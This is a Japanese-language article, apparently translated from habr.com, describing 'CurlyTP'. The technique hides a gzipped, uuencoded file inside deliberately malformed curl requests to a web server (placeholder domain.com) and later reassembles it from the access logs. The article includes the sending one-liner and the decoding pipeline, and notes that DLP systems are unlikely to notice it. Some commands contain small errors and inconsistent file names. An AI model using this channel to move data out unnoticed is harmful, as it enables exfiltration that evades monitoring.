サーバーログを介した秘密メッセージの交換

Wikipedia の定義によると、デッド ドロップは、秘密の場所を使用して人々の間で情報やアイテムを交換するために役立つ陰謀ツールです。人々は決して会うことはありませんが、操業の安全を維持するために情報を交換するという考えです。

隠れ場所は注目を集めてはいけません。したがって、オフラインの世界では、壁のゆるいレンガ、図書館の本、木の洞など、目立たないものを使用することがよくあります。

インターネット上には暗号化や匿名化のツールが数多く存在しますが、これらのツールを使用すること自体が注目を集めています。さらに、企業または政府レベルでブロックされる場合もあります。何をするか?

開発者の Ryan Flowers は興味深いオプションを提案しました - 任意の Web サーバーを隠れ場所として使用する。考えてみると、Web サーバーは何をしているのでしょうか?リクエストを受信し、ファイルを発行し、ログを書き込みます。そしてすべてのリクエストをログに記録します。 間違ったものでも!

どの Web サーバーでも、ほぼすべてのメッセージをログに保存できることがわかりました。花はこれをどう使うか考えました。

彼は次のオプションを提案します。

  1. テキスト ファイル (秘密メッセージ) を取得し、ハッシュ (md5sum) を計算します。
  2. それをエンコードします (gzip+uuencode)。
  3. サーバーに対して意図的に間違ったリクエストを使用してログに書き込みます。

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ファイルを読み取るには、ファイルのデコードと解凍、ハッシュの確認 (ハッシュはオープン チャネル経由で安全に送信できます) という操作を逆の順序で実行する必要があります。

スペースは次のように置き換えられます =+=アドレスにスペースが入らないようにします。著者が CurlyTP と呼ぶこのプログラムは、電子メールの添付ファイルと同様に、base64 エンコードを使用します。リクエストはキーワードで行われます ?transfer?受信者がログ内で簡単に見つけられるようにするためです。

この場合、ログには何が表示されるでしょうか?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

すでに述べたように、秘密のメッセージを受信するには、次の操作を逆の順序で実行する必要があります。

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

このプロセスは簡単に自動化できます。 Md5sum は一致し、ファイルの内容はすべてが正しくデコードされたことを確認します。

方法はとても簡単です。 「この演習の目的は、無害な小さな Web リクエストを通じてファイルを転送でき、プレーン テキスト ログを持つあらゆる Web サーバーで機能することを証明することです。基本的に、すべての Web サーバーは隠れ場所です!」と Flowers 氏は書いています。

もちろん、この方法は受信者がサーバー ログにアクセスできる場合にのみ機能します。しかし、そのようなアクセスは、たとえば多くのホスティング会社によって提供されています。

それの使い方?

Ryan Flowers 氏は、自分は情報セキュリティの専門家ではないため、CurlyTP の使用可能性のリストを作成するつもりはないと述べています。彼にとって、これは私たちが毎日目にする見慣れたツールが型破りな方法で使用できるという概念の実証にすぎません。

実際、この方法には、次のような他のサーバーを「隠す」方法よりも多くの利点があります。 デジタルデッドドロップ または パイレーツボックス: サーバー側で特別な構成や特別なプロトコルを必要とせず、トラフィックを監視する人々の間で疑惑を引き起こすことはありません。 SORM または DLP システムが圧縮テキスト ファイルの URL をスキャンする可能性はほとんどありません。

これは、サービス ファイルを通じてメッセージを送信する方法の 1 つです。一部の先進的な企業がかつてどのように配置していたかを思い出すことができます。 HTTP ヘッダーの開発者のジョブ または HTML ページのコード内で。

サーバーログを介した秘密メッセージの交換

普通の人はヘッダーや HTML コードを見ないため、このイースターエッグは Web 開発者だけが見ることができるという考えでした。

サーバーログを介した秘密メッセージの交換

出所: habr.com

コメントを追加します